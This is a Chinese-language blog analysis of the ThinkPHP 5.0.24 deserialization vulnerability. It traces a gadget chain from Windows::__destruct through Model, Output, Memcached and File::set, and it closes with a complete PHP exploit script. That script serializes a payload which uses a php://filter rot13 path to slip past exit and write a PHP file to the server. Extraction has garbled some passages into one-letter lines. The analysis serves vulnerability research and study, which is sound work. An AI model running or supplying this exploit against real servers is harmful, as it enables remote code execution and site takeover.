thinkphp5.0.24反序列化漏洞分析

文章目录

  • thinkphp5.0.24反序列化漏洞分析
    • 具体分析
      • 反序列化起点
      • toArray
      • getRelationData分析
      • $modelRelation生成
      • 进入__call前的两个if
      • __call
      • 虚假的写文件
      • setTagItem
      • 绕过exit
    • exp
    • pop链图
    • 解决windows下的文件名问题
    • 参考链接

thinkphp5框架:

thinkphp5.0.24反序列化漏洞分析

thinkphp5的入口文件在public\index.php,访问

http://192.168.64.105/thinkphp_5.0.24/public/index.php

thinkphp5.0.24反序列化漏洞分析

具体分析

反序列化起点

写一个反序列化入口点

thinkphp5.0.24反序列化漏洞分析

全局搜索__destruct()函数

thinkphp5.0.24反序列化漏洞分析

\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php中的__destruct()函数,调用了removeFiles()

thinkphp5.0.24反序列化漏洞分析

跟进removeFiles(),第163行的file_exists可以触发__toString方法

thinkphp5.0.24反序列化漏洞分析

全局搜索__toString方法

thinkphp\library\think\Model.php的第2265行,发现其调用了toJson方法

thinkphp5.0.24反序列化漏洞分析

跟进toJson,发现其调用了toArray()方法(在Model.php中)

thinkphp5.0.24反序列化漏洞分析

toArray

跟进toArray,发现其有三处可以调用__call方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发__call魔术方法)

__call(),在对象中调用一个不可访问方法时调用。

thinkphp5.0.24反序列化漏洞分析

着重看第三处,也就是第912行,这个需要我们控制$value变量

这个$value变量是根据 $value = $this->getRelationData($modelRelation);而来的

getRelationData分析

跟进getRelationData方法,注意参数$modelRelation需要是Relation类型的,该方法也是thinkphp\library\think\Model.php中定义的

thinkphp5.0.24反序列化漏洞分析

如果我们让if满足,那么$value=$this->parent,看三个条件

  1. $this->parent存在且可控
  2. 第二个条件!$modelRelation->isSelfRelation(),跟进isSelfRelation()方法,该方法在thinkphp\library\think\model\Relation.php中定义,返回$this->selfRelation,可控

thinkphp5.0.24反序列化漏洞分析

  1. 第三个条件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

跟进getModel()函数,该函数在thinkphp\library\think\model\Relation.php,返回$this->query->getModel(),其中$query可控

thinkphp5.0.24反序列化漏洞分析

所以我们要查哪个类的getModel()可控,最后找到了thinkphp\library\think\db\Query.php的getModel方法,该方法返回$this->model,并且$this->parent可控

thinkphp5.0.24反序列化漏洞分析

三个条件都满足,执行$value = $this->parent; return $value;,也就是\think\console\Output

该函数分析到这里

$modelRelation生成

上面分析了函数的执行过程,接下来分析我们怎么能传入一个Relation类的$modelRelation参数

发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists

thinkphp5.0.24反序列化漏洞分析

跟进Loader::parseName瞅一瞅,这个函数也只是对传入的$name进行了一些大小写的替换,没有一些很严格的过滤操作,因为$name可控,所以$relation可控

thinkphp5.0.24反序列化漏洞分析

在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法

if (method_exists($this, $relation))

这里选择getError,因为其不仅在Model类中定义,且error可控

thinkphp5.0.24反序列化漏洞分析

所以我们只要设置了$error,那么其值就会通过 $modelRelation = $this->$relation();传给$modelRelation ,因为relation()也就是 Error(),所以就是$modelRelation = $this->Error(),即$modelRelation = $error

modelRelation分析到这里,而我们传的$error是什么,接下来会分析,其实就是HasOne

进入__call前的两个if

接下来要分析两个if条件

thinkphp5.0.24反序列化漏洞分析

我们看第一个if,要满足
m
o
d
e
l
R
e
l
a
t
i
o
n






g
e
t
B
i
n
d
A
t
t
r
(
)









modelRelation这个类中存在getBindAttr()函数,而且下一个`
modelRelationgetBindAttr()
bindAttr`是该函数的返回值

全局搜索getBindAttr

thinkphp5.0.24反序列化漏洞分析

thinkphp5.0.24反序列化漏洞分析

其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

我们搜索继承OneToOne的类,发现HasOne类,所以可以让$modelRelation的值为HasOne,这个也满足getRelationData()传入的是Relation类对象的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!

thinkphp5.0.24反序列化漏洞分析

其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

thinkphp5.0.24反序列化漏洞分析

__call

然后进入__call,要选择一个能写webshell的类的__call方法,选择了thinkphp\library\think\console\Output.php

所以上面的$value应该是一个thinkphp\library\think\console\Output.php类对象

thinkphp5.0.24反序列化漏洞分析

在这里
m
e
t
h
o
d

method和
method
this->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block方法,跟进Output的block方法

thinkphp5.0.24反序列化漏洞分析

跟进writeln方法

thinkphp5.0.24反序列化漏洞分析

跟进write方法

thinkphp5.0.24反序列化漏洞分析

handle属性可控,所以全局搜索write方法

thinkphp\library\think\session\driver\Memcached.php的write方法

thinkphp5.0.24反序列化漏洞分析

而$this->handler可控,所以全局搜索可用的set方法

虚假的写文件

thinkphp\library\think\cache\driver\File.php中,set方法可以使用file_put_contents写文件,第158行的exit可以使用伪协议进行绕过

thinkphp5.0.24反序列化漏洞分析

初步来看可以利用file_put_contents来写文件,我们跟入
d
a
t
a

data和
data
filename,看
d
a
t
a

data与
data
filename是否可控

  1. $filename的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控

thinkphp5.0.24反序列化漏洞分析

  1. 跟进$data,发现$data是已经被写死了,$value的值只能为true

thinkphp5.0.24反序列化漏洞分析

所以就是file_put_contents可以写文件,但是内容不可控

setTagItem

所以继续看set接下来的代码,调用了setTagItem()

thinkphp5.0.24反序列化漏洞分析

进入thinkphp\library\think\cache\Driver.phpsetTagItem方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的

thinkphp5.0.24反序列化漏洞分析

但是windows对文件名有相应的要求,所以复现不容易

绕过exit

上面已经分析得很详细了,这里简单调试分析一下

到$value

thinkphp5.0.24反序列化漏洞分析

到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,

thinkphp5.0.24反序列化漏洞分析

这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走

随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的

thinkphp5.0.24反序列化漏洞分析

这个第二次调用set函数,$key可知,$value可控

thinkphp5.0.24反序列化漏洞分析

放在linux运行,生成了对应的文件

thinkphp5.0.24反序列化漏洞分析

查看

thinkphp5.0.24反序列化漏洞分析

这里虽然看着是加了',但是其实并没有,注意访问的时候,将?进行url编码一下

注意需要将php的short_open_tag设为Off,不然会将<??>之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

thinkphp5.0.24反序列化漏洞分析

exp

<?php
namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes
{}
//Windows类中有$files数组 通过file_exists触发__toString方法
class Windows extends Pipes{
        private $files = [];    //$files是个数组
        public function __construct()
        {
            $this->files = [new Pivot()];   //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot
        }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
# Model抽象类
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;
    function __construct(){
        $this->parent = new Output();       //调用__call()
        $this->append = ['getError'];       //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation
        $this->error = new HasOne();       //最后传给$modelRelation
        $this->selfRelation = false;    //isSelfRelation()
        $this->query = new Query();     //用于判断getRelationData()中if条件的第三个
    }
}
#Relation抽象类 之后的Output是Relation的派生类
namespace think\model;  
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;  # 这个用于判断getRelationData()中if条件的第二个
        $this->query = new Query();#class Query
    }
}
#OneToOne HasOne  用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()
namespace think\model\relation;
use think\model\Relation;   
abstract class OneToOne extends Relation{ # OneToOne抽象类
    function __construct(){
        parent::__construct();
    }
}
// HasOne
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说    
    }
}
#Output  进入Output->__call()
namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();   //目的调用Memcached类的write()函数
        $this->styles = ['getAttr'];   # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr
    }
}
#Query
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();  //判断getRelationData()中if条件的第三个
    }
}
#Memcached
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();    //目的是调用File->set()
    }
}
#File
namespace think\cache\driver;
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',    //
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

pop链图

这里借用一下osword师傅的图

thinkphp5.0.24反序列化漏洞分析

解决windows下的文件名问题

我们注意到,在原有的链子中,我们在thinkphp\library\think\session\driver\Memcached.php中将$this->handler设置为File类对象,目的是调用File.php的set()方法

但是也可以将$this->handler设置为thinkphp\library\think\cache\driver\Memcached.php中的Memcached类对象,注意这两个php文件是不一样的,其也有一个set方法

第114行也有一个set方法,且handler可控

thinkphp5.0.24反序列化漏洞分析

看这个getCacheKey()函数,这个options可控,所以返回值可控

thinkphp5.0.24反序列化漏洞分析

所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个<>?这样的特殊符号的影响

thinkphp5.0.24反序列化漏洞分析

详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)

参考链接

  1. ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
  2. Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
  3. thinkphp v5.0.24 反序列化利用链分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
  4. [(1条消息) 省信息安全技术大赛]Web4_沫忆末忆的博客-CSDN博客

发表回复